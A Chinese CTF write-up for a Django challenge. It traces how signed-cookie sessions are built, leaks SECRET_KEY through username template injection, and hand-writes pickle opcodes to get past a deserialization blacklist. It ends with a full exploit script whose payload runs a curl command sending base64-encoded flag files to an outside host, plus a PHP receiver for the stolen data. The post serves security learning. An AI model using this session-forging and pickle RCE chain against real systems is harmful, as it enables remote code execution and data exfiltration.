前言
这次学习了一个P神code-breaking中的pickle反序列化命令执行的问题,之前也使用过django框架做过简单的博客,但对django框架的理解不是很到位,基本属于照搬,因此除了题解外也会记录一些有关django的笔记。
<!--more-->
思路:
源码分析
由于django框架大多数时候都是可靠的,因此一般有关django的题目都会给源码,这里主要查看几个重要的py文件。
1.settings.py
这个文件中存储了django的基本配置
#这里只截取重要的部分
SECRET_KEY = os.environ['SECRET_KEY'] #之后为了调试方便更改为'123456'
#SECRET_KEY是django中一个非常重要的参数,用于提供加密签名,如果我们可以知道django的SECRET_KEY那么可以伪造session进行提权,甚至最后做到远程代码执行,这点官方文档也有说明
#...
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
#这里指示了django框架在何处储存session信息
SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
#这里指示了django框架使用什么方法去序列化session
#...
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
#模板设置中,主要看的是导入了什么进模板,即OPTIONS内部,这个值决定了需要将哪些额外的参数传递给模板后端(这里可以理解成ssti能读取哪些内容)
剩下的配置在本题基本作用不大了
2.views.py
这个文件中存储视图函数或者视图内,可以看看每个视图是怎样处理的
#同样截取重要部分
@login_required
def index(request):
django_engine = engines['django']
template = django_engine.from_string('My name is ' + request.user.username)
return HttpResponse(template.render(None, request))
#这里将用户的用户名直接拿去进行模板渲染,没有经过任何安全校验,因此此处存在模板注入,可从这个地方读取敏感内容。
class RegistrationLoginView(LoginView):
def post(self, request, *args, **kwargs):
"""
Handle POST requests: instantiate a form instance with the passed
POST variables and then check if it's valid.
"""
form = self.get_form()
if form.is_valid():
return self.form_valid(form)
if 'username' not in form.cleaned_data or 'password' not in form.cleaned_data:
return self.form_invalid(form)
#cleaned_data 就是读取表单返回的值,返回类型为字典dict型
if User.objects.filter(username=form.cleaned_data['username']).exists():
return self.form_invalid(form)
user = User.objects.create_user(form.cleaned_data['username'], None, form.cleaned_data['password'])
auth_login(request, user)
return HttpResponseRedirect(self.get_success_url())
'''
这个视图函数实现了用户的创建和登陆,如果用户不存在(第一次输入),则会创建一个相应的用户,这个时候第二次登陆用户就存在了,因此便可以登陆了
'''
如何伪造session
根据setting.py里的内容,翻阅官方文档发现(谷歌翻译出来的但大部分内容完全正确):
这里使用的session储存引擎是基于cookie的储存的,也就是说这是客户端session
Part1:获得session_auth_hash对象
本题刚好使用了django.contrib.sessions.backends.signed_cookies
和core.serializer.PickleSerializer
,也就是官方文档叙述的情况,这时候思路就比较清晰了,然后我们来看看django基于cookie的session是如果生成的,由于P神源码没有直接启用session的地方,所以我们从auth_login那里开始下断点(校验登陆信息才会使用session):
PS:调试帐号为a1 ,密码为123456 (需要提前注册)
然后根据类的继承关系和引入包
from django.contrib.auth import login as auth_login, get_user_model, authenticate
from django.contrib.auth.views import LoginView, logout_then_login
这里导入了django.contrib.auth.__init__.py
中的login方法,并将其命名为auth_login,我们跟踪的是auth_login因此,跳转至django.contrib.auth.__init__.py
的login
函数,函数体如下(同样截取调用部分):
PS:在\_\_init.py\_\_的开头也告诉了,session在这里生成:
这里调用了user类的get_session_auth_hash()方法,继续跟进这个函数,在django.contrib.auth.base_user
发现该函数体:
这里使用了salted_hmac()函数对密码进行了加密,查看salted_hmac():
def salted_hmac(key_salt, value, secret=None):
"""
Return the HMAC-SHA1 of 'value', using a key generated from key_salt and a
secret (which defaults to settings.SECRET_KEY).
A different key_salt should be passed in for every application of HMAC.
"""
if secret is None:
secret = settings.SECRET_KEY
key_salt = force_bytes(key_salt)
secret = force_bytes(secret)
# We need to generate a derived key from our base key. We can do this by
# passing the key_salt and our base key through a pseudo-random function and
# SHA1 works nicely.
key = hashlib.sha1(key_salt + secret).digest()
#加密方式在这里,使用sha1算法将盐和SECRET_KEY拼接,再返回一个16进制的字符串
# If len(key_salt + secret) > sha_constructor().block_size, the above
# line is redundant and could be replaced by key = key_salt + secret, since
# the hmac module does the same thing for keys longer than the block size.
# However, we need to ensure that we *always* do this.
return hmac.new(key, msg=force_bytes(value), digestmod=hashlib.sha1)
最后返回一个hmac类型的对象;也就是
key_salt = (取决于传入)
secret = settings.SECRET_KEY
key = hashlib.sha1(key_salt + secret).digest()
object_sha1 = hmac.new(key,msg=密码的字节信息,digestmod=hashlib.sha1)
session_auth_hash = object_sha1.hexdigest()
Part2:生成一个新的session_key
从而获得了一个session_hash对象,然后继续跟进,这个对象继续传递到下方校验user_id是否正确
def _get_user_session_key(request):
# This value in the session is always serialized to a string, so we need
# to convert it back to Python whenever we access it.
return get_user_model()._meta.pk.to_python(request.session[SESSION_KEY])
if SESSION_KEY in request.session:
if _get_user_session_key(request) != user.pk or (
session_auth_hash and
not constant_time_compare(request.session.get(HASH_SESSION_KEY, ''), session_auth_hash)):
request.session.flush()
#这个方法会从数据库当中移除目前的session数据
else:
request.session.cycle_key()
#这个方法会重新生成一个session,因为前方的校验不通过,session无效
#.......省略部分
request.session[SESSION_KEY] = user._meta.pk.value_to_string(user)
request.session[BACKEND_SESSION_KEY] = backend
request.session[HASH_SESSION_KEY] = session_auth_hash
这里的session对象经过单步调试,发现这个对象实际上是:
查看源码发现这个类是继承了同文件夹下base.py中的SessionBase
类,因此查看sessionbase
,然后调用该类中的_get_session
方法获得session,函数体如下:
当用户没有session_key时(该用户已经存在了,需要重新发放一个新的session,而不是按照原来的方式加密),会通过cycle_key()
生成一个新的session,并且存储的是相同的内容
def cycle_key(self):
"""
Keep the same data but with a new key. Call save() and it will
automatically save a cookie with a new key at the end of the request.
"""
self.save()
紧接着就会执行本类中的save方法,
函数体为:
def save(self, must_create=False):
"""
To save, get the session key as a securely signed string and then set
the modified flag so that the cookie is set on the client for the
current request.
"""
self._session_key = self._get_session_key()
self.modified = True
又会去调用_get_session_key
:
def _get_session_key(self):
"""
Instead of generating a random string, generate a secure url-safe
base64-encoded string of data as our session key.
"""
return signing.dumps(
self._session, compress=True,
salt='django.contrib.sessions.backends.signed_cookies',
serializer=self.serializer,
)
这里调用了签名中的dumps方法,生成了一个签名的base64编码字符,作为session_key,由于这里使用了self.\_session
_session = property(_get_session)
因此这里会进入一次_get_session
方法,从session缓存中获得的session的值,但因为这个时候缓存中没有session的值,因此session值为一个空字典,然后给salt
,compress
,serializer
赋值,
PS:使用的serializer就是我们在settings中设置好的相应引擎。
再跳转会signing.dumps()
继续执行,而这个函数的代码为:
这里的serializer().dumps()
实际上就是我们settings里面设置好的序列化引擎中的方法(同时我们可以看出默认的django的序列化引擎为json,签名的salt为django.core.signing
,key为settings.SECRET_KEY),这个函数是对使用serializer().dumps()
的数据利用zlib.compress()
进行压缩后,使用b64_encode
方法进行编码,再进行一次解码,
最后在生成的数据前面加上一个.
,然后再使用TimestampSigner
的sign()
方法,为这个生成的session签上时间,这个类继承自signer类,具体类如下:
当value=gAN9cQAu
被传入时,首先会根据目前的时间经过timestamp
方法编码之后,默认sep=":",再传递给父类的进行一次签名之后就成了上图的value
值,然后在传递给父类进行二次签名,最后就生成了相应的session_key的值
进行完生成session_key的操作之后跳转会save()
随后cycle_key
方法执行完毕,已经生成了一个新的session_key了,继续我们的单步调试
最后(126-128行)便进行了session的相关设置操作:
从上述过程我们可以总结出,一个新的session_key的过程
_session={}
secret = settings.SECRET_KEY
salt = (取决于储存session的引擎)
serialize_data= serlializer().dumps(_session) #取决于序列化引擎
compressed = zlib.compress(data) #压缩一次数据
base64d = b64_encode(data).decode()
session_key = TimestampSigner(SECRET_KEY, salt=salt).sign(base64d)
Part3: 生成session到cookie中
最后我们需要知道session在那里被设置到了cookie里面,经过查找发现在django.contrib.sessions.middleware
在session的中间件里面
从这里我们可以看出django将session设置到了cookie里了,并且最后到了调用session
中的save()
方法这步,然后查看该函数在django.contrib.sessions.backends.signed_cookies
里面
这里又会调用_get_session_key
方法
这里与前面的区别在于_session
的值不再是空字典了,而是有三个元素的字典了
因此加密的过程还是一样的,这里还是简述一下,_session
通过调用__get_session
获得变成了有3个元素的字典,然后传入signing.dumps
,经过一系列方法的加密,变成下面这样:
到这里我们熟悉的django-session的形式就已经出来了,最后再签上时间进行signer的两次加密,最后回到save()
这里
最后判断的时候由于会解开前面,因此最后会进行解签操作,也就是这里(signer类所在地):
解签之后再将session中的值进行比对,从而判断是否为有效的session,来控制是否允许用户登陆,解签的出发点在这里:
最终再次经过中间件的设置,就成功登陆了:
总结一下,其实最关键的加密过程就在_session---->signer.dumps()
这个过程之中,将其抽象总结一下,也就是这个函数了:
def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
#省略掉官方的注释
data = serializer().dumps(obj)
is_compressed = False
if compress:
compressed = zlib.compress(data)
if len(compressed) < (len(data) - 1):
data = compressed
is_compressed = True
base64d = b64_encode(data).decode()
if is_compressed:
base64d = '.' + base64d
return TimestampSigner(key, salt=salt).sign(base64d)
最后总结一下参数
key_salt = (取决于传入)
secret = settings.SECRET_KEY
key = hashlib.sha1(key_salt + secret).digest()
object_sha1 = hmac.new(key,msg=密码的字节信息,digestmod=hashlib.sha1)
session_auth_hash = object_sha1.hexdigest()
obj = {
"_auth_user_id": 'x',
"_auth_user_backend": '(存储session引擎)',
"_auth_user_hash" : session_auth_hash
}
key = settings.SECRET_KEY
salt = 设置里存储session的引擎
serializer = session的序列化引擎
compress = False
这样便可以做到session伪造了,虽然我们无法直接伪造出admin,但这里我们账户是可控的,再通过pickle反序列化能够实现命令执行。
读取SECRET_KEY
目前攻击手法已经很明显了,就是通过SECRET_KEY
伪造session,再根据pickle序列化引擎,达到代码执行的目的,可以问题在于能否直接读取到SECRET_KEY
,答案是否定的,因为在导入模板后端的项目中,并没有导入setting进去,这也就以为着,我们不能直接读取到SECRET_KEY
,但是SECRET_KEY
的字符是用于加密数据的,我们可以看到导入模板的变量中有auth
还有request
,猜测这些导入的变量可能有使用到SECRET_KEY
的地方,注意django模板具有一定的限制,我们无法读取有\_开头的变量,因此需要找到没有\_开头的变量。
SECRET_KEY = '123456'
DEBUG = True #修改这两个配置均是方便调试
将SECRET_KEY
改成这种容易辨识的字符,然后在本地使用动态调试,在进行模板渲染的地方下断点,看看模板后端究竟导入了哪些模板变量
然后再多次展开传入后端的变量折叠发现了SECRET_KEY
所在地,具体位置有很多比如request.user.user_permissions.source_field.opts.app_config.module.settings
和request.user.groups.source_field.opts.app_config.password_validation.settings
,最后发现当你找到这里的module之后,会发现里面很多内容都带了settings随意选一个,就可以找到里面的SECRET_KEY
然后落实到ssti注入上面,由于这里视图函数处理会先判断数据库中有没有该用户,如果没有则会自动注册一个该用户,然后下一次登陆的时候就会自动登陆进去了,如下图注册一个恶意账户:
然后登陆进去就顺利拿到secret_key了:
命令执行
在学习命令执行之前,先了解了python独特的序列化包pickle究竟是一个什么东西。
- 每种语言都有自己独特的序列化机制,python中的pickle,类似于php中的serialize()和unserialize(),同时pickle能够序列化很多类型的数据
可以看见这里几乎序列化了所有的数据类型,我们可以发现在python3,中是否继承object实际上不影响序列化生成的内容,因为python3中默认继承object父类,因此这里不存在是否继承object类而产生不同序列化内容的问题。
介绍一个特殊的魔术方法,先看看官方的说明:
当返回字符串时,python会为我们在全局变量中,寻找这个类创建的本地实例,然后返回该实例:
class hello(): def __init__(self): self.test1=1 def __reduce__(self): return "test1" #如果这里不是return的test1,则会报错 test1=hello() p_test=pickle.dumps(test1) print(p_test) print(pickle.loads(p_test))
返回内容为:
PS:这里反序列化的对象是没有改变的
当返回元组时,元组的第一个元素为相应对象,第二个元素开始就是传入该对象的参数了
class hello1():
def __init__(self):
self.test2=1
def __reduce__(self):
return (os.system,("ls",))
test2=hello1()
p_test=pickle.dumps(test2)
print(p_test)
print(pickle.loads(p_test))
返回内容为:
这意味着我们反序列化出来的对象和原对象没有半毛钱关系了,对象变了,并且我们传入的ls命令被顺利执行,利用这点便可以执行系统命令了
接着我们再看本题的序列化代码(serializer.py):
PS:有关多出来的RestrictedUnpickler类的说明
import pickle
import io
import builtins
__all__ = ('PickleSerializer', )
'''
这里将本模块定义成了全局的PickleSerializer,也就是说
实际上本题django的序列化引擎使用的是这个py文件的内容
'''
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
'''
这个类是反序列化的一个过程类
官方手册推荐使用这个方法来限制反序列化出来的类
这里便是定义好黑名单了,但我们都知道黑名单可不是一个很好的过滤手段
'''
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
'''
重写原类的find_class方法
确保了没有来自builtins模块且在黑名单里的子类
'''
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
#这就是刚才提到的pickle的序列化方法
def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,
encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
#这是反序列化方法
###绕过黑名单
在Python中builtins
实际上是一个不需要导入的模块,很多类似于open
,eval
等内置函数,都存在与builtins
模块中,侧面就是说明除了黑名单的那几个函数,其余的内置函数是可以直接导入的,这里可以选择导入getattr
,这是个非常好用的函数,官方手册说明如下:
这个函数可以从上下文中获得已经存在的类,而serialize.py
引入了两个一看就很危险的类:
因此我们可以通过getattr
获得bultins
模块,在从bultins
模块中获取我们想要的类,而由于代码中是没有限制导入bultins
模块的,因此可以顺利绕过黑名单,虽然绕过了黑名单,但是问题也产生了。
###有关\_\_reduce\_\_的问题
在官方手册中已经提到了,__reduce__
实际上只能返回一个元组,而这里得到bultins
模块和从bultins
模块中获得函数,实际上是两步,按照__reduce__
的执行条件来看,我们可是需要返回两个元组,而这显然是不可能的,那么如何解决这个问题?手撸pickle代码!
###有关pickle语言
我们随意保存一个之前实验过的恶意反序列化代码,看看pickle这个堆栈语言是怎么写的,作为一门堆栈语言pickle没有变量一说,只有两个结构
- stack 也就是栈
memo 一个储存信息的列表
下面是生成pickle文件的一段demo
import pickle
import os
class hello():
def __reduce__(self):
return (os.system,('ls',))
test2=hello()
p_test=pickle.dumps(test2,0)
""""
这里protocol需要等于0,也就是dumps的第二个参数
否则会多出很多的不可见字符,不利于人工书写
"""
print(p_test)
print(pickle.loads(p_test))
with open("test","wb") as file:
file.write(p_test)
file.close()
'''
test内容为:
cposix
system
p0
(Vls
p1
tp2
Rp3
.
'''
将二进制内容写入一个test文件之后,我们再使用pickletools进行读取
\
根据pickle源码对照表如下:
接下来我们一行行的解读:
0: c GLOBAL 'posix syste'
#c 引入模块或对象,模块名和对象名使用换行符分割
#这一步在python中相当于find_class方法
14: p PUT 0
#p 将栈顶元素存到memo中,后面的整数相当于在memo列表中的索引
17: ( MARK
#( 将一个特殊的标志压入栈中,这是元组的起始位置
18: V UNICODE 'ls'
#V 将一个unicode字符串压入栈中,这里手工写字符串不需要加引号
#S 与V差不多,只是将一个字符串压入栈中区别在于手工的时候S的字符串加引号
22: p PUT 1
25: t TUPLE (MARK at 17)
#t 从栈顶开始找到'('并将中间所有内容弹出栈,组成一个元组
26: p PUT 2
29: R REDUCE
#R 从栈顶弹出一个可调用的对象和元组,元组作为函数的执行的参数列表。
#并将返回值压入栈中
30: p PUT 3
33: . STOP
#. 表示程序到这里就结束了
highest protocol among opcodes = 0
#这里是使用的pickle协议代号
#g 获得从memo列表中获得一个指定索引的对象,压入栈中,这个后面会用到
这里的memo存储元素并没有什么用,因此我们将之前test里面的内容简化一下变成:
检查一下能否正常运行
ok看来是没有问题的,接下来我们来手撸pickle代码。
获得builtins模块
string=b"""cbuiltins getattr (cbuiltins dict Vget tR(cbuiltins #等同于python代码的builtins.getattr(builtins.dict,get)获得get方法并将这个get方法对象压入栈中 globals (tRVbuiltins #等同于builtins.globals.get('builtings') tRp1 #弹出上面的整个部分存到memo的里,编号为1 """
逐行分析:
cbuiltins
-> 将builtins
设置为可执行对象getattr
-> 获得builtins
中的getattr
方法cbuiltins
-> 压入元组开始标志,并设置builtins为可执行对象dict
-> 获得builtins
中的dict
对象Vget
-> 压入字符串get
tR(cbuiltins ->
弹出
builtins.dict,'get'
组成的新元组并压入栈中并执行
builtins.getattr(builtins.dict,get)
得到get
方法压入栈中之后压入一个新的元组标志,最后将
builtins
设置为可执行对象globals
-> 获得builtins.globals
(tRVbuiltins
->压入元组标志,并生成一个空元组()
然后返回
builtins.globals()
的一个可执行对象最后压入
builtins
字符串tRp1
->执行get('builtins')
获得
builtins
对象并存在memo列表里builtins
在列表中索引为1
效果图:
这里已经成功获得
builtins
模块了- 获得eval函数
string=b"""cbuiltins
getattr
(cbuiltins
dict
Vget
tR(cbuiltins
globals
(tRVbuiltins
tRp1
------分割线
cbuiltings
getattr #等同于 builtins.getattr()
(g1
Veval
tR(V__import__("os").system("ls")
#等同于builtins.getattr(builtins,"eval")并将这个可调用的eval对象压入栈中
tR."""
#等同于eval("__import__('os).system('ls')")并结束程序的运行
逐行分析:
cbuiltings
-> 获得可执行的builtings
对象getattr
-> 获得builtings.getattr
方法(g1
-> 压入一个元组标志到栈中,并取出memo[1]
的builtins
模块对象压入栈中Veval
-> 压入'eval'
字符串到栈中tR
-> 弹出以上内容为一个新元组,相当于执行
builtings.gettattr(builtings,"eval")
并获得这个可执行的
eval
对象(V__import__("os").system("ls")
->压入一个新元组标志,
再压入一个字符串
'__import__("os").system("ls")'
到栈中tR.
->弹出以上内容为一个新元组
相当于执行了
eval("__import__('os).system('ls')")
并返回一个可执行对象最后结束程序的运行
效果图:
PS:复制时请检查后面存在的空格,除了换行符外不能有空格
最后生成的pickle:
exp编写
exp_django.py:
from django.core import signing
import base64
import zlib
def b64_encode(s):
return base64.urlsafe_b64encode(s).strip(b'=')
def pickle_session(SECRET_KEY):
global string
is_compressed = False
compress = False
if compress:
compressed = zlib.compress(string)
if len(compressed) < (len(string) - 1):
data = compressed
is_compressed = True
base64d = b64_encode(string).decode()
if is_compressed:
base64d = '.' + base64d
secret = SECRET_KEY
session = signing.TimestampSigner(key=secret, salt='django.contrib.sessions.backends.signed_cookies').sign(
base64d)
print(session)
string=b"""cbuiltins
getattr
(cbuiltins
dict
Vget
tR(cbuiltins
globals
(tRVbuiltins
tRp1
cbuiltins
getattr
(g1
Veval
tR(V__import__("os").system("curl http://snert.ebounce.cn:8056/ok/1.php?flag=$(cat /*flag* | base64)")
tR.
"""
#flag是利用通配符读取的,因为只知道有flag字段,并不知道还有什么其他字段
pickle_session("zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm")
1.php代码如下:
<?php
$data = fopen("flag.txt","w");
foreach ($_GET as $key=>$value)
{
fwrite($data, $key.":".$value);
fwrite($data, "\n");
}
接着我们传恶意session上去:
虽然传上去之后看着500了,但是另一个容器环境,却确实收到了flag
最后解码得到flag
PS:
这里改正一下错误,读取到secret_key,实际上应该被称作格式化字符漏洞,因为这里将我们格式化出来的字符,拿去当作模板渲染了,因而才会出现读取到变量的问题,如果用户控制的是已有模板的某个需要渲染的变量,也很难出现ssti漏洞
- 因为
django
模板引擎只会渲染一次模板(一般都是读取到.html的模板文件的时候),之后再根据特征{}的内容导入值,也就是相当于字符串的拼接,这个时候即使需要拼接{{ xx }}
的内容,也会只会当作一个单纯的字符串,而不是变量来处理,详情可以阅读一下django
源码 - 其次django作为一个神级框架,是不会允许模板进行代码执行的,如果开发过django项目,在可以代码执行的地方(本题就是格式化字符串的地方)进行代码执行,就会报错(debug=True)或者抛出500错误(debug=False).
参考文章: